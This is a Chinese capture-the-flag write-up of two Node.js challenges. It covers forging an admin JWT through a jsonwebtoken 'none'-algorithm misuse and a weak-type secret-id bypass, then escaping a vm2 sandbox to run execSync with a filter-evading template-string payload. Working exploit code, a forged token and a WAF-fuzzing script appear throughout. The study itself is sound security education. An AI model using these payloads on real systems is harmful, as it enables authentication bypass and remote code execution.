虎符杯两道NodeJS题目的分析

0x0 前言

 感觉比较有意思的一次比赛题目,NodeJS的题目出的很典型,值得去分析和研究一下。

0x1 EasyLogin

0X1.1 考点

  • 常规信息泄露
  • NodeJS 基础代码审计
  • JWTToken库 实现 JWT的流程
  • Javascript tricks

0x1.2 分析题目

进入页面:

http://da71ab5b-cd34-4b13-a145-4f942b8dd1d9.node3.buuoj.cn/login

首先看一下源码,发现了/static/js/app.js:

先记录下来

然后直接打开dirsearch跑一波:

python3 dirsearch.py -u http://xxx.node3.buuoj.cn/ -e php,js

buuctf我倒是没扫出来,但是在之前的环境我扫出来了:

http://8553ee3bca5d4afd82cba14f26571bd78c39d52b06614ac1.changame.ichunqiu.com/app.js
http://8553ee3bca5d4afd82cba14f26571bd78c39d52b06614ac1.changame.ichunqiu.com/controller.js
http://8553ee3bca5d4afd82cba14f26571bd78c39d52b06614ac1.changame.ichunqiu.comn/package.json

然后就到NodeJS的代码审计环节了:

我们可以很直接看到这个程序是基于KOA框架写的,经典的MVC架构

const rest = require('./rest');
const controller = require('./controller');

通过这两句话,可以判断app.js同级目录,还存在rest.js and controller.js

我们分别访问看看:

其实代码量不是很大,大概也能读懂,但是大概读懂跟发现漏洞细节差别是很大的,所以我们最好能深入理解下这个程序的执行流程,这个时候我选择了根据KOA关键字和一些代码找了一些相关资料来进行了学习。

比如肖雪峰的NodeJs Web开发,通过对比,我可以快速排除一些可能的漏洞点,比如任意文件读取之类的,下面我们来分析看看。

我们在命令行新建一个项目:

npm init

接着我们尝试安装KOA,通过源文件泄露的package.json的我们可以确定KOA的版本

所以我们也安装一个相同的版本在本地进行测试:

npm install koa@2.11.0

然后我们在index.js运行下面一个例子来分析。

koa执行逻辑的一个简单例子:

const Koa = require('koa');
const app = new Koa();
app.use(async (ctx, next) => {
    await next();
    ctx.response.type = 'text/html';
    ctx.response.body = '<h1>Hello, koa2!</h1>';
});
app.listen(3000);
console.log("app start at port 3000...")

逻辑是:

用户的每一个url请求->koa对象拦截->调用通过app.use注册async函数(这个函数理解为异步操作函数就行了)

async(ctx, next)函数的处理逻辑:

ctx形参是可以接受koa传入的封装的request and response变量的值

next 是koa传入的将要处理下一个异步函数。

ctx可以帮助我们获取请求参数的内容,这里同样可以设置返回的内容。

那么函数里面的await next()调用下一个异步函数的作用是什么呢?

因为KOA把async函数组成了一个处理链,所以能够异步处理到链中的每一个函数,所以我们都需要设置这句话。

其中app.use()出现的顺序决定了每个async执行的顺序。

那么我们如何针对不同URL来选择不同的async函数来处理呢?

一种经典的用法是:

app.use(async (ctx, next) => {
    if (ctx.request.path === '/') {
        ctx.response.body = 'index page';
    } else {
        await next();
    }
});

通过ctx.request.path来判断:

但是这样有点缺点,就是这样判断感觉太费力了。

这个时候,我们就引入了koa-router来解析路由,koa-bodyparser来解析内容(这样我们就不用自己通过str.split('&')来解析传送来的表单或者json的相关内容了。

题目中还用到Crypto库来生成app.keys,koa-static,koa-views等一些库

const { resolve } = require('path');

这里注意下这个代码等价于:

const _ = require('path');
const resolve = _.resolve;
//resolve 的功能主要是拼接路径,怎么拼接?
const { resolve } = require('path');
console.log(__dirname);
var path = resolve(__dirname, "..//test")
console.log(path);

output:

/Users/xq17/Desktop/t/easy_login/node_modules
/Users/xq17/Desktop/t/easy_login/test

阅读到此,我们已经可以基本理解app.js到底做了什么。

那么我们下面就开始着重分析下:rest.js and controller.js

先从controller.js开始说起,这里为什么要注册个controller的对象呢?

如果我们按照上面所说的用router处理URL

可以看到逻辑是这样的

app.user->router.routes->router.get这样一个逻辑,这样的话所有路由也是集中在index.js,所以为了减少index.js的代码量,题目采取了重写一个继承router框架的路由注册到app.use中,并且采取了module.export的方式开放自己的调用权限。

可以看到这种思路其实是扫描controllers路径下的js文件,然后加载他们moudle.exports开放出来变量注册到router里面去。

当时我是没找到api.js文件的,但是我看到了reset.js文件

其实作用很简单,就是先于控制器,绑定ctx绑定了一个rest的属性,给ctx绑定一个统一的返回类型,然后可以在控制器里面通过ctx.rest({token:token})来统一调用。

然后结合案例,猜测了controllers/api.js controllers/login.js等格式

确定了api.js,由此我们来到了与用户交互最重要的控制器环节。

(1) 注册环节

这里值得注意的是限制了admin注册,说明后面肯定需要绕过这里

(2) 登录环节

这里单从代码逻辑上看是没有问题的。

(3)GetFlag环节

0x1.3 题目核心分析

通过上面的分析,我们的目标就是伪造admin用户

当时我是存在了两种思路的:

1.通过注册一个admin%00-%255等的畸形用户,绕过===判断,然后在jwt.sign环节签名的时候如果有去除这些字符的功能,就可以实现绕过

2.尝试攻击jwt.verify函数弱点,实现None签名绕过(Ps.这个点如果没做过一些相关题目,是很难想到的,这也是题目的主要解,下面我会从原理来进行分析一次)

为了分析这两种思路的可行性,我们先编写一个简易的代码用来debug:

1.npm install koa-jwt@3.6.0
2.index.js

首先我们可以快速FUZZ一下可能性:

const crypto = require('crypto');
const jwt = require('jsonwebtoken');

const secret = crypto.randomBytes(18).toString();
console.log("secret:\n" + secret);
const secretid = 1;
const username = 'admin';
const password = '123';
// const token = jwt.sign({secretid, username, password}, secret, {algorithm:'HS256'});
// console.log("token:\n"+token);
// const user = jwt.verify(token, secret, {algorithm: 'HS256'});
// console.log(user.username + " length:" + user.username.length);
console.log("start Fuzzing...");
for(var i=1;i<=255;i++){
    fuzzName = username+String.fromCharCode(i);
    // console.log(fuzzName + "length:" + fuzzName.length);
    if(fuzzName !== 'admin'){
        _token = jwt.sign({secretid, fuzzName, password}, secret, {algorithm:'HS256'});
        _user = jwt.verify(_token, secret, {algorithm: 'HS256'});
        if(_user.fuzzName === 'admin'){
            console.log("success! i:" + i);
            break;
        }else{
            console.log("fail! i:" + i + " userFuzzname:" + _user.fuzzName);
        }
    }
}

很遗憾,失败告终。

虽然可以排除一些猜想,但是还是该保守点, 我选择了跟进代码看看jwt库会不会对username进行什么特殊处理。

这里笔者用的是VScode来进行调试:

跟进断点:

/node_modules/jsonwebtoken/sign.js

前面都是对参数做了非空判断、类型转换等操作

在114行对payload进行了校验,因为对象是引用类型,所以有可能对payload的值进行修改,所以我们跟进看看:

此时的调用栈如下,可以看到这里的操作只是单纯判断,allowUnkown为true,所以并没有执行什么操作。

我们继续在114向后跟进处理吧

最终跟进这里:

我们不难看到的payload

调用栈如下:

这里我们可以看到:

我们的payload强制转换采用的JSON.stringify的函数,然后采用base64url进行了编码,最后将生成的数据进行签名防止被篡改。

那么我们的问题就转移到了JSON.stringify函数的处理中:

因为是js的原生函数,

如果Json里面的键值字符串内容进行特殊处理的话,文档里面应该会提到的,结果查阅之后发现并没有,那么这种解决思路很明显是行不通的,所以我们应该抛弃这种思路。

那么这道题的正确思路是怎么样的呢?

这个问题我们得先从jwt的verify流程开始跟起:

最后我们跟到获取getSecret的关键处

这里就很有意思了

可以看到

hasSignature的值当我们token不传第2部分即签名位时,可以控制为false

然后options.algorithms这里源码利用的algorithms带s的这个属性来判断,而我们传入的确是

options.algorithm那么也就是说源码里面默认就是options.algorithms这个值本身就是None的

不存在的。

那么这个程序为什么能跑起来呢?

因为我们加密的时候的确是选择了签名的,所以`hasSignature=TRUE

就算我们没有传入的options.algorithms程序也会默认加载系统定义的类型:


这样子我们alg的构造头里面存在其中的方法,那么程序就可以正常运行了。

由上面可知我们生成的token

是采用的了HS256加密方式加密的,所以这个流程走完是没问题的。

这也是这个程序的一个容错机制的体现,能够根据加密的内容来选择解密方式。

那么我们怎么实现攻击呢?

我们需要伪造一个None签名的token,也就是不进行签名判断

但是我们需要绕过上面的一个判断:

那就是secretOrPublicKey这个值必须为False,这个值

这个值其实就是我们传入的密钥,所以我们要让None签名顺利走完这个流程,我们需要控制密钥的值为undefine或者为空

if(undefined || ''){
    console.log("fail")
}else{
    console.log("ok")
}
// output
ok

而前面可知,我们的密钥是根据一个数组然后通过下标来取的,题目对下标还做了判断

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

AngstromCTF 2019出过类似的题目思想,利用javascript的弱类型特点,可以绕过

sid = []
console.log(sid === undefined || sid === null || !(sid < 10 && sid >= 0));

所以说我们只需要构造一个这样的

const crypto = require('crypto');
const jwt = require('jsonwebtoken');
const secretid = [];
const username = 'admin';
const password = '123';
const token = jwt.sign({secretid, username, password}, '', {algorithm:'none'});
console.log(token);

得到伪造的token值

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4ODEzODI1MH0.

我们直接抓登录包,修改为伪造token值,密码修改为123

PS.问题衍生之正确的用法:

因为传入的是Object类型,所以就算多出多余的属性,也不会报错,所以这个考点可以说是出题人用来混淆我们视线的一个坑,还有就是开发者对于该库的使用太轻率,

没有好好阅读相关文档。

官方的用法:

正确的用法应该是这样的:

const user = jwt.verify(token, secret, {algorithms: ['HS256']});
而不是我们题目里面的:
const user = jwt.verify(token, secret, {algorithm: 'HS256'});

0x2 JustEscape

这道题目从题目来看就能猜到是逃逸相关的题目,不过出题人的确花了一番心思去移花接木,不让考点那么直接,从而避免了被秒解的尴尬。

0x2.1 考点

  • fuzz
  • 沙盒逃逸

0x2.2 题目分析

入口是这个地址, 当时看到这个提示,我心理还是觉得很奇怪的。

感觉这个不像是PHP的代码,反而很像Javascript的语言,简单测试无果,直接开dirsearch发现了一个这个index.php

这不是个shell吗?

后面才发现作者真的是用心良苦,很明显就是nodejs采用express写的一个网站。

这下子我们就需要转换下思路了,从PHP->NodeJS

http://7e95c322-db39-4050-abaf-cd5ce28c954f.node3.buuoj.cn/run.php?code=new%20function(){%20throw%20e;}

很明显这是一道沙盒逃逸题:

那么我们肯定要收集下信息,这里我们打印错误的堆栈信息:

run.php?code=new Error().stack

确定了是vm2的库:

/app/node_modules/vm2/

搜索下网上的内容,发现这个库出现在题目中不是一次两次了,我们通过文章定位到了:

https://github.com/patriksimek/vm2/issues?q=author%3AXmiliaH+

通过这个链接我们很容易得到了这个逃逸的方式:

这里最新版是:3.9.1, 这里我们用3.8.3 来尝试下:

npm install vm2@v3.8.3

这个大神给出了两个payload:

其中一个是:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

可以看到这个payload可以成功绕过的,但是我们可以看到报错信息并不一致,所以我们还是尝试阶段。

(function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}})()

直接丢进URL,发现返回的是个键盘:

这其实就挺诡异的了,这个时候我经过拆解payload:

(function(){TypeError.prototype.get_process =1;})()

发现这其实是一种针对特殊字符的过滤,这个时候我们就可以通过一个脚本来FUZZ看看是什么规则了。

#!/usr/bin/python3
#
import requests

payload = """(function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}})()"""
print(payload)
req_url = 'http://8b6d7d7f-43e9-464f-a7ec-394d424747eb.node3.buuoj.cn/run.php?code='
fuzz_payload = ""
for k in payload:
    fuzz_payload += k
    req_payload = req_url + fuzz_payload
    data = requests.get(req_payload).text
    if 'Happy Hacking' in data:
        print("waf! k:{}".format(k))
        fuzz_payload = fuzz_payload[:-1] + '0'
        print(fuzz_payload)
print(fuzz_payload)
(function(){TypeError.prototyp0.get_proces0 = f=>f.constructo0(0return proces00)();try{Object.preventExtensions(Buffer.from(00)).a = 1;}catch(e){return e.get_proces0(()=>{}).mainModule.require(0child_proces00).exe0Sync(0whoami0
(function(){TypeError.prototyp0.get_proces0 = f=>f.constructo0(0return proces00)();try{Object.preventExtensions(Buffer.from(00)).a = 1;}catch(e){return e.get_proces0(()=>{}).mainModule.require(0child_proces00).exe0Sync(0whoami0).toString();}})()

不难发现:

prototype,constrctor,",process,exec,'都被过滤了。

进行了过滤,像js的这些关键字的绕过,其实非常简单,利用他原生的模板字符串功能就行了。

模板字符串

首先我们要想一下怎么构造:

这个特性和以前我们做PHP题目那个计算器简直就是异曲同工的思路.($$pi{0})

通过这种嵌套的方式,还原一个常量字符串为变量字符串:

`${`${`constructo`}r`}`

里面层:

`${`constructo`}r` //主要拼接成constructor `用来代替单双引号

最外面一层:${} //解析为变量字符串

我们重新构造下exp:

`${`${`prototyp`}e`}`
`${`${`get_proces`}s`}`
`${`${`constructo`}r`}`
`${`${`proces`}s`}`
`${`e${`xecSync`}`}`
`${`${`child_proces`}s`}`
这里需要注意的是: 
TypeError.prototyp0.get_proces0
这里的.获取属性我们需要更改为TypeError['prototype']这种形式去改写
最终payload:
(function(){TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`return ${`proces`}s`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_proces`}s`}`](()=>{}).mainModule.require(`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();}})()

0x3 总结

  感觉NodeJS这种新语言的考点应该会被各位出题人各种挖掘,希望将来有人挖掘出更有意思的考点。

0x4 参考链接

虎符 CTF Web 部分 Writeup

HackIM 2019 Web记录

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖